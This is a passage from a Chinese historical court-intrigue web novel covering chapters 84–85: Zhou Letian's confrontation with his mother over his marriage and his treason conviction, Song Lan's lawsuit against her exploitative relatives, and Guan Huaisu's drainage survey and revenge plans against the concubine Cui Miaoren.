关怀素一听,便叹了口气,说:“若是有余裕,能再划一块地方出来给城西百姓便好了,这地方再这么下去,总会一直出事的。” 她虽这么说,却也知道此事十分难办。 城西百姓太多了,甚至百姓自己何尝不知道住在这地方不舒服? 可是问题是没办法啊,没钱没地,只能这般挤挤挨挨地住着,哪怕知道每年夏汛一到,便要拖家带口地小心着水灾,甚至家家户户都有人出过事……可是,没钱啊! 一文钱尚能难死英雄汉,何况他们这些小老百姓? 想到这里,关怀素忍不住长叹一口气。 “姑娘无须忧心,此事可以从长计议。”周乐天知道她为何忧心,心中不忍,便轻声说,“这回陛下是下了决断的,你只管放手把最好的计划拿出来就行。” 关怀素一听,眼睛一亮,心中愁苦一扫而空,喜悦地说:“既然陛下有所准备,想来能解决,走,咱们再去看看!” 她这么一笑,登时如花一般,叫周乐天看呆了一瞬。 二人沿着大渠边上走了半个时辰,期间关怀素不停地停下来记录大渠的状况,大渠情况严重、城西有些排水的暗渠竟还被百姓直接盖了屋舍,且还有人把排水暗渠掘开,几家围在一起做水井……真是看得关怀素愈发皱眉。 忙了大半天,关怀素图纸上密密麻麻都标了几张红,全是要回去重新考量的。 “一时忙不及,咱们明儿个再来。”到了傍晚,关怀素便叹了口气,对周乐天说,“我回去再把图纸整理一下,这地方实在是麻烦。” “辛苦姑娘了。”周乐天看她神色憔悴,心中有些担心,温声叮嘱,“那图纸若是难弄,也不急于一时。” 关怀素点点头,说了句心里有数,二人便告辞。 “关姑娘真是个好人。”来福瞧着关怀素的马车走远,扶着周乐天上了马车,悄声说,“明明什么好处都没得,却实实在在是为百姓上心呢。” “是啊,关氏一脉,都是非常好的。”周乐天轻声说,“无论世道如何,关氏之人,总是心中装着身边最普通的邻居与乡亲。” 二人说着话,一路回公主府。 却没想到的是,才进家门,便见到叶英站在门口,说:“侯爷,殿下找你。” 周乐天一愣,点点头,往东府去。 “叶姨,殿下找咱们爷啥事儿啊?”来福在路上主动开口问。 叶英瞧着周乐天白得没有一丝血色的脸,轻声说:“小公子要回京了。” 来福一听,登时火气就上来了,怒声说:“他回来就回来,闹出这么大的架势是什么意思?难道他还要咱们爷亲自出城恭迎不成?!” 周乐天却瞧出叶英不是这个意思,便拍了拍来福,问:“叶姨,公主叫我何事?” 叶英叹了口气,说:“殿下听说,圣上叫侯爷领工部人一起修葺京师水道的事情,似乎还找了李家大姑娘从旁协助?” 见周乐天点头,叶英便压低声音说:“殿下的意思,侯爷年岁大了,如此这般,怕闹出什么闲话,想问问侯爷关于婚配之事有什么想法。” 来福登时一喜,周乐天心中更是一颤。 可下一刻,却听到叶英轻声说:“殿下叫小公子回京,原有意将大姑娘与小公子做配。” 这一句话,惊得来福怒声说:“他算个什么东西?文不成武不就的,姑娘那么好的人,凭什么配他?他配得上吗他!” “来福,噤声!”周乐天瞧着已经到了公主所在的正院,立刻轻声呵斥,然后对叶英说:“我知道了,叶姨。” 已经进院子,叶英也不好过多提示,便只能垂眸,带着周乐天进门。 廊下女官掀开帘子,来福与叶英都在门外,周乐天一人独自进了大长公主的书房。 大长公主一身玄色常服,只腰间系着白色腰带,头发束着男子单髻,瞧着姿态闲适,正看着屋中最大的沙盘。 周乐天一眼看出来了,这是京师及方圆几百里的沙盘。 “殿下安康。”周乐天握指请安。 “起来吧。”大长公主神色闲适,叫周乐天,“过来看看,这沙盘是我叫她们新作的,瞧着如何?” 周乐天凑过去一看,说:“做得极好,京师附近地势地貌,一眼便能看明白。” “比不上关家人的手艺。”大长公主却勾了勾唇角,轻声说,“当初关氏弟子陪着你祖父打的那几场仗,你学过吧?” 周乐天垂眸,轻声说:“学过。” “关老先生,我也叫一声老师。”大长公主看似漫不经心地拨弄着沙盘上的房舍,一边对周乐天说,“他留下的唯一一条血脉,我自然不能慢待。” 周乐天恭敬地听着。 “这满京师的名门淑女,你看上谁,只告诉我一声,你也大了,该到了娶妻的年纪。”大长公主直起身,看着周乐天,说,“但是李婉玉,你不要想了。” 哪怕周乐天已经猜测出母亲的心思,但是此刻亲耳听到,他还是忍不住心中起了怒意。 他压着火气,抬头看着大长公主,冷声问:“敢问殿下,为何我不能想?” 大长公主瞧着他起了火气,挑了挑眉,似乎觉得很好笑地说:“哦?你竟是真对她起了心思?” “是又如何?”周乐天盯着大长公主,说,“我虽不济,但是到底也有爵位在身,乃是我当初在西北一刀一枪拼出来的,且我多年未曾胡乱沾染女色,若是娶了她,自然也是一心一意,只和她相伴一生就可。我自问也当有追求她的机会,为何殿下一开口就叫我别想了?” 大长公主见他竟十分执着,微一沉吟,便说出了实话,说:“我要把她留给仁儿。” 周乐天听到她的话,压抑着心中汹涌的情绪,只问:“为何刘仁可以,我不可以?” 大长公主看他一眼,说:“你身体太差。” 周乐天看着她,压抑地说:“除了这个呢?还有什么顾忌,您一起说了吧。” 大长公主见他不死心,便冷声说:“你身体太差且身负通敌叛国之罪,我不希望素问的女儿将来早早守寡,我希望她能开开心心地过一辈子。” 此事确实是周乐天的心结。哪怕是呕出瘀血之后,身子好了许多,但是周乐天其实心中也十分担忧自己身子的问题。 可是他却也非常清楚地知道,以上都是借口。 他冷笑一声,说:“殿下您直接说吧,您见过她之后,觉得她很好,便想把她留给刘仁,只是这样而已吧?” 不等大长公主答话,周乐天说:“便是我身子好,你会把她嫁给我吗?你不会,因为什么好的,你都要留给刘仁!” “你在说什么胡话?”大长公主皱眉呵斥,“你这是什么态度,这是怨我?” “我为何不怨?”周乐天抬眉,冷冷地看着大长公主,沉声说,“我这通敌叛国之罪是谁给我钉死的,不正是我的好母亲、大公无私的安国公主您吗?” “是你被人抓住了把柄!”大长公主怒斥,“你在这里与我叽叽歪歪有什么用?我不欠你的!” “我也是你的儿子!”周乐天隐忍了几年的愤怒和委屈,在这一刻情不自禁地破土而出,他忍了几年的话,在这一刻再忍不住,怒声大吼,“我打了胜仗,你从不夸我,我被人污蔑,你第一个交我出去军法处置,甚至不听我的分辨。我生平第一个喜欢的女子,你就急着把她塞给刘仁……你既然如此恨我,当初为何不在我出生的时候,一刀把我和我父亲都杀了?你为什么要留着我们?是取乐吗?是享受吗?” 门外的叶英听到这里,知道不好,火速进门,一把拉住周乐天,连声喊:“小侯爷,您先别激动,您身子不好,一会儿心疾犯了!” 这话是提醒周乐天,也是提醒大长公主。 果然方才还咄咄逼人的大长公主也收了气势,冷着脸坐下,任叶英与来福把周乐天拉住,飞快塞了一粒救心丹。 “你怨我。”看着周乐天含下救心丹,方才脸上诡异的潮红推下去,大长公主皱着眉,说,“我自问待你不薄,该给你的,我从未苛待。” “是,母亲请了名师教导我功夫兵法、书法骑射,样样都不曾落下。”周乐天抬头看大长公主,惨笑一声,说,“您将我教导的十分优秀,而后让我放手施为、北击狄夷,建下不世功业……皇祖母一再叫人传信,让我不可操之过急,可您说信我,我就去了。” 周乐天抬头看向大长公主,眼泪一串串地掉下来,他颤声问:“我当日年少气盛,可您难道不知道,太子殿下那样情况,我作为您的儿子建下如此功业,是多大的忌讳?” 大长公主长叹一口气,微微闭目,难得露出了一丝疲惫之色。 她轻声说:“我知道。” 周乐天的眼泪瞬间汹涌落下。 “可是那日如果换作是我,我也会去。”大长公主看着周乐天,她用一种疲惫却冷静到漠然的神色说,“乐天,我虽不纵宠你,但你是我儿子,我绝不会故意毁掉你。那日若是我,我亦会追上去,击杀阿拜疆。那可是千载难逢的时机,只需杀掉阿拜疆,能换来北疆十几年安稳,此事,我绝不后悔。” “我也不后悔!”周乐天终于再也忍不住,锤着心口怒吼,“为国为民,我虽死无悔!可是您为什么在我被人围困十里岗三十余日之后,不听我分辨,就叫人拿我下狱!你可知道我在狱中遭遇?你可知道我被人废了,我差点死在狱中?你不知道!你还只想着杀我祭旗!” “当日证据确凿,我无法包庇你。”大长公主开口,她看着第一次在自己面前哭得差点昏厥的儿子,再冷硬的心也在这一刻稍微松动了一下。 她起身,走到了周乐天面前,然后伸出手。 她其实是想抚摸周乐天的鬓发,但是周乐天却紧张地往后退了一步,露出了戒备之色。 这是非常自然的真情流露。 这一刻,眼前的儿子再次和他的父亲重合了。 大长公主握紧了拳头,神色也冷了下来。 她看着周乐天,轻声说:“你若是想当一个合格的侯爷,本就不该让人抓到如此要命的把柄。” “我是被陷害的!”周乐天很想这么说,但是他在此刻,终于听懂了自己母亲的意思。 她根本不在意自己到底是什么情况,她在意的是,身为一个侯爷,身为将军,不该让任何人抓住机会捏造、陷害,这才是最重要的。 周乐天积攒了几年的愤怒突然在这一刻全部烟消云散了,他脸上满是泪水,却突然笑了一下。 他凄声说:“我明白了。原来您一直都知道我是被冤枉的,您知道,您只是不在意。” 他勉力站起来,颤抖着手擦了擦脸,不看大长公主,也不行礼,转身就往外走。 “乐天。”大长公主出声唤他。 周乐天浑身一震,脚步一顿。 而后他听到自己的母亲说:“关氏女,你不要想了。” 周乐天“哈哈”一笑,声音也冷下来,说:“殿下,您难道真以为刘仁能娶关氏女?” 他转身直视大长公主,冷声说:“关老先生曾是帝师,学生故交遍布天下,且婉玉学了最紧要的关家工学,以关家人的本事,可是能养活半个天下的。你真以为舅舅会看着刘仁娶她?” “你什么意思?”大长公主眯起眼睛,危险地问,“他把赵家那个女儿娶为太子良娣还不够,难道还想把关家的女儿也纳入太子府?” “有何不可?”周乐天看着大长公主,冷声说,“天下以后都是太子殿下的,像您说的,能者得之。刘仁与我比,您瞧着处处都好,但是与殿下比,却远不够看。” 说完,周乐天不再纠缠,只留下一句:“您慢慢打算,我不奉陪了。” 说完,他转身离开,再未回头。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第八十四章 宋兰迁居 是夜,周乐天已经歇下,大长公主登上东府阁楼,远远地朝西府那边看。 “叶英,乐天那孩子恨我。”大长公主突然开口。 叶英不敢开口,只静静地听着。 良久,大长公主突然轻声说:“他爹恨我,他也恨我。” “殿下不要伤心了,驸马那事,如今想来疑点重重,您若是真的在意,何不找人查查?”叶英听到这里,终于忍不住说。 “飞星替我查过好几次,都没有任何问题。”大长公主却摇了摇头,说,“驸马性子就是如此,他恨我就恨我罢。但是乐天,他那身子,真不成,我不能害了素问留在世上的唯一血脉。” 叶英闻言,忍不住轻声说:“我瞧着侯爷不犯病的时候,似乎也还好,且大姑娘与侯爷似乎来往也挺好……” “她才见过几个男人?”大长公主却摇头,说,“等仁儿进京,他虽没乐天那张脸,但是会说话逗趣,小姑娘家家的,多见识一下就知道怎么选了。” 叶英知道大长公主的心思不是任何人能动摇的,便只点了点头附和。 偏这个时候,阁楼有人上来,进门就跪下对大长公主说:“殿下,奉您的命,属下去查了大姑娘前些日子被人陷害献媚太子,以及前些日子小宴的事情。” “说。”大长公主吩咐。 女将点头,说:“查出来当时授意福宁郡主身边妈妈的,像是王相手下一个门客所为。” “王攀那个女儿嫁给太子五年没动静,瞧着应是急了。”大长公主点点头,一点也不惊讶,只问,“那婉玉和乐天被锁书房的事儿呢?” 这事儿当初她是表面上被关怀素和周乐天的理由说服了,但是发生在她自个儿别庄的事情,大长公主怎么可能真的被糊弄过去? 只是那妈妈发现事情被发现,竟直接上吊,因此也才耽搁了这么久才查出来。 “查出来了,不是王相的人,那是周家的人。”女官垂眸,说,“死的那女官家里弯弯绕绕查下去,竟是与周国丈家里有点关系,瞧着是奉了福宁郡主的命令做这事儿,但是她死后,家里的孩子都被周国丈送回周家的老家去了。” “好啊,我多年不回京,竟是家里上下都有了别人的钉子。”大长公主一笑,说话之间没有丝毫怒意。 但是所有熟悉她的亲信都知道,她生气了。 二人都屏住呼吸。 “福宁是个蠢货,先不管。”大长公主冷声说,“其他地方,给我上上下下筛一遍,查出来不对劲的,全部处理了!” 她凤眼眯起来,杀意压得周围人喘不过气,冷声说:“不许放过一个钉子!” “是!”在场女将全数跪下,齐齐应声。 这边大长公主与周乐天的争吵,大长公主的打算,关怀素什么都不知道。 她一回家,就被李珺叫去问:“玉儿,今儿个平安侯请示圣人,说是让你协助他一起整治京师水道,还说那图纸都是你帮着整理的?” 关怀素在听周乐天说起此事,便知道一定会面对这种局面,心中早已做好了准备。 修理京师水道乃是史书留名的事情,她作为关氏子弟绝不允许自己错过,她眼神坚定点头,认真地说:“是有此事,父亲,当初从公主宴会回来的时候,也曾跟您提过。” 李珺这才想起来,当时好像是提到此事,但是他一直以为那是平安侯随口说的借口,没想到竟然是真的。 他震惊地问:“可京师水道十分复杂,你怎地真的能整理出来?可别为了贪功胡说,到时候误了圣人的大事就不好了!” 关怀素立刻正色,说:“父亲,我没有胡来,我确实会,且姨父陈松也是我外祖父的弟子,他也跟着帮忙,顺带教导我,自然十分简单。” 李珺听到这里,这才打消了所有疑虑,虽然心中还是不太赞成,但是圣人命令已下,他便只能说:“如此便好,只是日后你出去一定要多带几个人,与诸位大人一起,不可与平安侯独处,免得影响你日后前程。” “是。”关怀素也不争执,只满口应下。 如此,也算是在李家过了明路,关怀素于是白日上课,下午勘探,晚上修改图纸,忙得眼底都出了乌青。 她并不知道,李珺在让她离开之后,对李福突然说:“李福,当初素问怀胎的时候,是哪位御医诊脉来着?” “回老爷,听府里老人说起来,好像是大长公主特地请了孙老先生来请平安脉。”李福躬身恭敬地说。 李珺点了点头,轻声说:“不怪你,你原先在外头伺候,不知道这些事儿。” 而后顿了顿,又问:“那位孙太医,如今可还在?我怎地好像并不记得了。” “老先生高寿九十三,前年去的。”李福愈发恭敬地回答。 李珺知道这个御医去世,登时露出思索之色。 李福垂眸,像是什么都没感知到。 关怀素对李家的暗流未曾关注,她忙的脚不沾地一旬有余,不理世事,直到宋兰那边的事情闹了出来。 陆大儒得知老友留下的孙女竟要被舅舅家卖与富翁做妾,气得差点想亲自入京。 吓得家里人连忙强行劝住,而后陆家长孙带了一堆人连夜快马入京,立刻打上宋兰舅舅家! 彼时宋兰那舅舅,正为了宋兰失踪的事情要去报官。 等到人上了门,他们瞧着都是富家子弟,还都是读书人打扮,立刻想着敲诈一笔,非说是他们拐了宋兰,也不管宋兰日后要怎么做人,反正只咬死了宋兰被男子勾搭私奔,要赔钱! 陆公子气得倒仰,带了陆大儒的亲笔信,又带了他的帖子,当场就告到了京师府尹那里,把事情闹开了。 宋兰听到消息,也去了公堂,当场展示了在舅舅家里平素做了多少活计,挣钱多少,甚至卖绣花样子图的绣坊都找来了——众人这才知道,原来宋兰当初虽没拿什么钱来投奔,但是身上带着两幅祖父遗作。 那两幅图,宋兰原想着留下来做念想,可她当时年纪小,舅舅说给她保管,后来竟全部卖了,得了两千两。 靠着这笔巨款,他们在京师一家生活无忧,但是犹嫌不足,日日叫宋兰做活,仿若家里侍女就算了,发现宋兰会画绣花样子之后,竟也是月月逼迫她画绣花样子卖给绣坊,如此每月大约还能挣二十两左右。 全家就靠着宋兰带来的钱过的生活无忧,如此竟还犹嫌不足,竟要敲骨吸髓,还要把她卖与富家老翁做妾,再挣上最后一笔绝户钱! 审到这里,便是外头听着的百姓都举座皆惊,全部不可置信。 人证物证俱全,加上陆大儒亲笔书信为故人之女做保,京师府尹哪里会为难?当场便打了宋兰那舅舅舅母家里板子,怒斥他们豺狼心性不说,竟叫他们赔偿宋兰这些年的钱财,那舅舅一家多年享乐,早把钱财败光了,自然没钱。 所以到了最后,那舅舅舅母一家被判去服苦役,家中屋舍钱财全数赔给宋兰。 于是做了多年侍女一般的宋兰,如今竟在京师已经有自己的房舍了! 关怀素听到此事的时候,便十分喜悦,知道宋兰还住在流云台寺,便立刻赶去见她。 这一回见面,宋兰脸上的一点尖酸愁苦之态彻底消失,瞧着面善不少,益发露出大方阔朗之态。 “姐姐大恩大德,再造之恩……”宋兰一见面,眼圈一红就要蹲身道谢,却被关怀素一把抓住了。 关怀素说:“哎哟,是陆伯伯叫人办的事儿,我不过是叫人帮忙去个信而已!” 见宋兰还是在意,关怀素便笑着说:“兰妹妹,我把你当作亲妹妹一般,难道你把我当外人?” 自家姐妹,何须言谢? 宋兰便明白她的意思,连忙擦了擦眼泪,笑着说:“姐姐说得是,是我想左了,日后姐姐有什么事情,只管吩咐妹妹!” “我还真有个事情!”关怀素闻言,立刻便问,“妹妹接下来有何打算?” “我打算把京师里的屋子买了,换些钱贴身放着,那地方我不敢回去住。我那舅舅舅母是去服役了,但是两个堂姐和堂哥都只是被赶走,他们如今什么都没有,若我回去,我怕他们起歹心。”宋兰也不是个柔弱的,先前是一个孤女求告无门,便也只能拼着吊死罢了。 如今有了指望,她便立刻愈发行事有度,也早替自己想好了办法。 钟妈妈听到这里,便也说:“原是住在咱们那边也可以,可最近太平镇来了许多南边来的流民,都是年前遭了雪灾的,人实在是多,有些小孩子瞧着可怜,我便买了一些,扩充了布坊。” “南边雪灾的厉害?”关怀素闻言,立刻问。 “很厉害,全数都是拖家带口的,许多人瞧我这里是做工的,跪在门口求着收留自家姑娘,就是怕养不活,卖去烟花之地……”钟妈妈长叹一声,说,“我便自作主张,买了七八十号人,想着能救一个救一个,就是布坊那边,日后许是得多产一些布,否则养不活那么多人了。” 这与关怀素一开始叮嘱的低调行事十分不符,但是关怀素却点点头,认真地说:“合该如此,妈妈做得很好。” 钟妈妈说:“只是如此,那边人多眼杂,兰姑娘住那边就实在不合适了,也怕她那堂兄堂姐混进来找麻烦。” 关怀素点点头,说:“这倒是没事,我倒是有个好地方。” 她笑着拉宋兰坐下,说:“兰妹妹,你知道我姨母吧?” “百福县主,我自然知道。”宋兰点点头,看关怀素笑意盈盈,有些惊慌地说,“可我与县主无亲无故,怎可贸然上门借居?” 关怀素叹了口气,轻声说:“兰妹妹,当初我姨母出事,祖父筹措了万两白银上下奔走,除了我家的钱财,其中出资最多的几人之一,便是你的祖父宋智伯伯。” 这是只有关怀素才知道的事,宋兰登时瞪大眼睛。 她看着关怀素笑着说:“姨母前些日子也得知你的事情,她主动提起你一个姑娘家住着实在不方便,叫你不嫌弃的话,便去和她住。如今家里还是有些狭窄,但是已经开始建园子了,等到修好,保准你住得宽敞舒服,日后便在家里出嫁也可以。” 宋兰听到这里,眼圈一红,眼泪一下子止也止不住,嚎啕大哭。 关怀素吓了一跳,连声问:“怎地了,可是有什么不方便,兰妹妹你不怕,若是不想去,便去我那庄子上住着,保准也清静安全!” “不是,不是!”宋兰哭着摇头,哽咽了半天,才说,“当初舅舅总骂我,舅母还打我,说我祖父算个什么东西,一分钱也没给我留,说我是个拖油瓶……” 可是不是的,虽然那一把大火,把祖父留给她的钱财全数烧毁了,可是祖父还给她留下了许多比金钱还贵重的东西——是关心、是爱护,是多年之后的庇护和家人般的爱。 是宋兰委屈了这些年,一直内心渴望却不曾拥有的东西。 而今弯弯绕绕这么多年,命运虽捉弄她,可绕了一大圈,祖父当年留下的馈赠,还是让她绝处逢生。 她虽没说完,但是关怀素已经完全懂了她在哭什么。 关怀素也是眼圈一红,眼泪也掉下来。 两人竟就这样对坐哭了一场,宋兰不好意思拿帕子擦眼泪的时候,关怀素也擦着眼泪,说:“妹妹如此感动,我如今再要说自己的打算,倒是有些不好意思。” 见宋兰茫然地看自己,关怀素便笑了笑说:“兰妹妹,你瞧瞧我眼下这青黑的!” “姐姐可是有什么事情让我帮忙?”宋兰有些看明白了关怀素的意思,便说,“姐姐只管直说便是,都是自家姐妹,有什么好客气的?” 关怀素便立刻笑说:“那我便直说了,最近我忙着重绘京师水道之事,只是此事工程巨大,我一人实在是忙不过来,而妹妹于绘图一道又十分精湛……” 宋兰闻言,立刻便说:“我还当有什么事情,这能有什么,只管交给我便是!” 又含着眼泪得意地一笑,说:“如今我可不缺钱了,那宅子牙人挂牌出去三千两,加上陆伯伯那边还给了我些钱,我便再也不用日日忙着画那绣花样子了,多的是时间帮姐姐!” 关怀素见她终于彻底摆脱阴霾,瞧着开心,自己也跟着开心,便叫宋兰去收拾东西,明儿个一起回京。 宋兰知道她是有话和钟妈妈、孙文书说,便自去收拾东西去了。 第八十五章 逐步布局 等到宋兰一走,孙文书就立刻问:“师妹,你前几日书信提到发现了婉玉姑娘的死因?” “是,信中不方便细说,前几日我派出去的人回来了,指认人下毒的人,是崔妙人身边最得力的老妈妈。”关怀素冷声说。 “贱妇!”钟妈妈怒拍桌,“当年我便知道她是个下贱胚子!” “师妹想如何做?”孙文书一贯温柔平静的脸上也难得起了戾气,他冷声说,“此等深仇大恨,不可不报!” “那必然。”关怀素神色冷厉,恨声说,“我想求师兄违背君子之道,帮我一个忙。” “师妹直说,我们之间,何用得上求字!”孙文书郑重说。 “师兄君子端方,从不愿做龃龉之事。只是今日我必须要为姐姐报仇,请师兄再去陆家给陆伯伯传信。就告诉陆伯伯这里面的事情,再请陆伯伯帮我……”关怀素沉默一下,说,“请陆伯伯赌上清誉,帮我传出收徒之事,再考察一下李家大郎。” 孙文书皱眉,说:“你的意思是?” “崔妙人最重视这个儿子,我要废了他。”关怀素抬头,冷声说,“我要她众叛亲离,所爱之人背弃她、彻底废掉,我要让她尝到锥心刺骨之痛!” 孙文书沉默一下,说:“好。” “师兄。”关怀素一直很冷静,在得知姐姐的死讯之后,她一直都在考虑怎么去布置后面的事,可是在这一刻,在听到师兄不假思索答应之后,眼泪一下子出来了,她哽咽地说,“对不起……” “没什么对不起的,姑娘,你就是太好心肠了!”钟妈妈恨声说,“老爷说过,有仇不报非君子!您可别傻了!” 又对孙文书说:“你说是不是?” 孙文书认真地点头,说:“对,师父说过,对敌人仁义,便是对自己残忍。师妹无须自责,此事你不说,我也要办,崔妙人既然害人,我们便是不死不休之局!” 关怀素闻言,眼泪汹涌。 她咬牙擦干眼泪,写好信,把姐姐之死、自己冒名顶替的事情全数给陆伯伯解释清楚,又把姐姐的死因写了,关怀素把自己的计谋也坦诚说清楚,请陆伯伯自己决策,便把信一起给了师兄。 师兄和陈妈妈结伴离开,关怀素才坐下来喝了一盏茶,陈渠就到了。 “陈渠,我要你替我办一件事情。”关怀素挥手止住他见礼,开门见山就说,“替我查李珺那个宠妾崔妙人的家里,瞧瞧她家里有谁好拿捏的,不拘你怎么行事,给我找到办法给崔家找点麻烦,最好能钳制到崔小娘,你明白吗?” 陈渠微愣,迟疑地看着关怀素,问:“姑娘的意思是拿捏到什么程度?” “这么说,我与这个崔小娘是生死之仇。”关怀素冷声说,“你明白了吗?” 陈渠眼中闪过厉光,立刻点头表示明白。 柳叶从屋里拿出一个包袱,陈渠打开一看,里面全部都是金叶子。 他倒吸一口冷气,立刻说:“姑娘放心,小的保管把事情办得漂漂亮亮!” 事情安排完,关怀素便陪着宋兰休息一日,给祖父添灯油上香之后,第二日一早回京师。 二人这回直奔程娘子府上,县主府扩建已经开工,关怀素早跟程娘子通过气,她听说关怀素带着宋兰上门,便心中知道有了眉目。 因此程娘子大喜迎出去,一见宋兰就一把拉住上下看,笑着连声说:“真是个漂亮的!哎呀,我若是当年能生个女儿,如今也有这么大了!” 说完又亲热地拉着宋兰说:“快来看看,前天婉玉和我说起这事儿,我连夜叫人收拾了东厢房,你看看可喜欢?” 又说:“旁边在扩建,如今灰尘大些,家里窄小,你别嫌弃。” 宋兰何时得到过如此热情对待?一时心中大为感动,再看到屋里床褥门帘、摆件古董,样样都是好的,心中大为感动。 又看到屋里站着两个丫鬟,笑着打开箱笼妆枢,竟然都是满满当当,宋兰心中不安,说:“这些太过贵重,我实在是不敢当。” “这都是县主为姑娘准备的。”大丫鬟笑意盈盈地说,“县主说她可惜没个女儿,便是得了太后娘娘的赏赐竟都不知给谁戴,如今好了,有个这么大的女儿,家里的首饰不会生尘了!” “这、这留给婉玉姐姐多好。”宋兰更加不安,“都是贵重东西……” “你们两个都有。”程娘子看她不安,笑着上前拍拍她,温声说,“宋伯伯当初把我救出那火坑,我心中不敢忘怀,当初我是有心无力,实在是没有余力再照顾你,如今好容易我得了圣人封赏,你就把我当你的亲阿娘一般,只管放心过快活日子。” 宋兰眼圈一红,拿着帕子就擦眼泪,本来伶牙俐齿的人,感动到了极处,竟一句话也说不出来了。 “好了,别哭了,我那头还有水道图纸等着呢,咱们把这几个月忙完了,兰妹妹想什么时候哭都成!”关怀素笑着打破气氛,拉着宋兰去马上干活去。 程娘子笑着看两姐妹拉着去做活,吩咐人:“去,给两位姑娘都熬好燕窝粥端过去。” 宋兰绝处逢生,拼尽全力帮助关怀素绘制图纸,二人彼此欣赏才华,合作下来愈发觉得气性相投,逐渐亲如姐妹,便是程娘子也觉得家里热闹,愈发过得有滋有味了不提。 就这么加班加点忙碌了一月有余,刚把最繁杂的城西水道梳理好,很快便快三月三。 每年三月三,圣人会亲耕以劝稼轩。 前几年每到这个时候,圣人都恰好身体抱恙,连着竟是耽误了好几年,今年据说准备大办。 程娘子如今是县主,早早知道整个流程。 “后日一大早去城西,等圣人在先农坛亲耕之后,官眷便可入皇家园林游园。”程娘子提前几日便早早跟关怀素和宋兰说了,又拿出分别给她们准备好的衣裳首饰。 都是今年圣人和太后才赏下来的好东西,关怀素抱回去的时候,便叫李家众人都得了消息。 晚间的时候,关怀素刚收拾完,王妈妈便悄悄地来了。 “姑娘,今儿发生了大事!”王妈妈一进门就激动地发抖,轻声说,“孔妈妈终于查到了陈妈妈给满娘的钱是从哪儿来的了!原来全是贪的老夫人库房里的耗损!” 这倒是不出关怀素的料想,结果王妈妈叹了口气,说:“孔妈妈十分开心,当场告发了陈妈妈,却被老夫人训斥一顿,说她挑事不安分,把此事压下去不说,孔妈妈如今还被罚在屋里思过呢。” “啊?”这发展丁妈妈和柳叶都没想到,登时震惊地说,“贪墨了小几千两银子,老夫人居然就这么放过去了?” “是啊,孔妈妈也不忿呢,回头就拉着我说,当年她听到的那事儿可能是真的!”王妈妈压低声音,轻声说起来。 却原来,孔妈妈想起来早年间,下午的时候,老夫人院子里的老妈妈吃醉了,与陈妈妈吵了起来 那老婆子年纪很大了,是家中老人,平素就有些倚老卖老,白日吃醉了就睡在廊下,陈妈妈瞧着碍眼,就过去说了几句。 结果那老婆子怒声发作起来,大骂:“你在我这里充什么大头?我是没跟舅老爷睡,没来个不明不白的女儿,当个副小姐一般养着,嫁出去还能得老夫人贴补!” 这话说的,孔妈妈当时就愣住了,左右四顾无人,立刻躲在了夹道里面偷听。 “你浑说什么呢!”陈妈妈当时就急了,压着嗓子说,“我瞧着你也是糊涂了,怎地说起胡话了?你要吃醉了就去屋里躺着去,在这里发什么浑!” 关怀素听到这里,立刻眯起眼睛,意识到了这里头不对劲。 陈妈妈不是个宽松人,她抓到这老婆子吃醉,居然不罚还让人回去睡,只怕是心虚! “我说什么胡话?当年舅老爷还在人世的时候,老夫人身边平头正脸的丫鬟谁没被叫去伺候过?我亲眼见着你跟着舅老爷拉拉扯扯进的屋!”那老婆子听着醉大发了,说话毫无顾忌,说,“你后来嫁那个穷酸秀才,一去就说有了,算下来是你男人的还是舅老爷的?你自己知道吗?你肯定知道,毕竟老夫人这些年这么重用你,又把满娘当半个小姐养着,不就是瞧着她有三分像舅老爷的样子,所以当着亲表姑娘养着呢!” 丁妈妈和柳叶都听得目瞪口呆,关怀素也不免震惊,她忍不住说:“荒唐!既然是有了身孕,怎地不纳在屋里?怎地闹成这等不明不白的样子?” “回姑娘,舅老爷是老来子,说是老夫人的亲弟弟,其实和老爷差不多大,当半个儿子一般养着。”王妈妈立刻说,“孔妈妈跟我说,当初这事儿闹出来的事后,舅老爷不到十五,正是议亲的时候,自然留不得这个孩子……” “舅老爷可知道这个孩子?”关怀素皱眉问。 王妈妈微微错愕了一下,抬头看关怀素一眼,关怀素心中一跳。 而后王妈妈立刻垂下头,连声说:“舅老爷临死之前都不知道,毕竟舅老爷去得早,大姑娘出生那年就不在了,这些年老夫人每到四月就心里不爽利,便是怀念舅老爷的缘故。” 关怀素心中一紧,立刻拿起茶杯喝了一口,轻声说:“是啊,可惜他不知道,若是知道自己有这个孩子,应该心中也是欣慰的吧。” “只怕是不成的,孔妈妈跟我说,她仔细想了下,觉得满娘应该不是舅老爷的孩子。”王妈妈小声说,“若老夫人一直这么认为,那只怕是空欢喜一场。” “什么?”丁妈妈立刻追问,“怎地?” “孔妈妈说,舅老爷是个极其荒唐的人物,当时家里丫鬟没有他没沾染的,但是到死都没一个人怀胎。据说是、据说是也不太成……”王妈妈觉得在未出阁的女儿家面前说这个事情十分不好,但是此事干系重大,她不敢含糊,说:“孔妈妈说,满娘有七八成不是舅老爷的骨肉。” “那是谁的?”关怀素闻言,立刻意识到孔妈妈的未尽之意。 “孔妈妈说,经过今儿的事情,她是死心了。她伺候老夫人快三十年,如今老了老了,没做错事还被罚,没有一丝体面,也觉得没意思。想求姑娘给青黛也安排一门婚事,早些嫁出去,与人为奴为婢,到底不如带着嫁妆去过小日子。”王妈妈咬牙,把孔妈妈的叮嘱说了出来,说,“孔妈妈想求姑娘给个恩典。” 关怀素并不恼怒,她点头,说:“不过是小事,她既然帮得上我,我自然给她做主。” 王妈妈见事情办好,便松了口气,说:“孔妈妈说,当初陈妈妈不只是与舅老爷有事儿,其实她与故去的老太爷也有些不清不楚,陈妈妈嫁人之后,老太爷还私下去看过,还送过礼物,只是这些事情都是孔妈妈自家里老人那里听说的,没有证据。” “当初娶陈妈妈的那家人可有亲朋故旧?”关怀素闻言,立刻追问。 “有,只是都落魄了,如今只是普通农人。”王妈妈立刻回。 “好,我知道了。”关怀素点头,温柔地说,“你跟孔妈妈说,我记得她的好,事情回头这两天就给她定下,叫她安心做事。” 说完又亲自上前,握着王妈妈的手,温柔地笑着看她,说:“妈妈,我会即刻叫人去肇州查清楚当年之事,此事对我极其有利,你也是一大功臣。妈妈有什么想要的,只管告诉我,希望我们之间,日后更加亲密才是。” 王妈妈咽了咽口水,轻声说:“我、我既然跟着姑娘办事,便是一心为了姑娘,只盼姑娘过得好,我和宝丫也有个靠山。” “放心,定不会让妈妈失望。”关怀素笑着拍拍王妈妈的手。 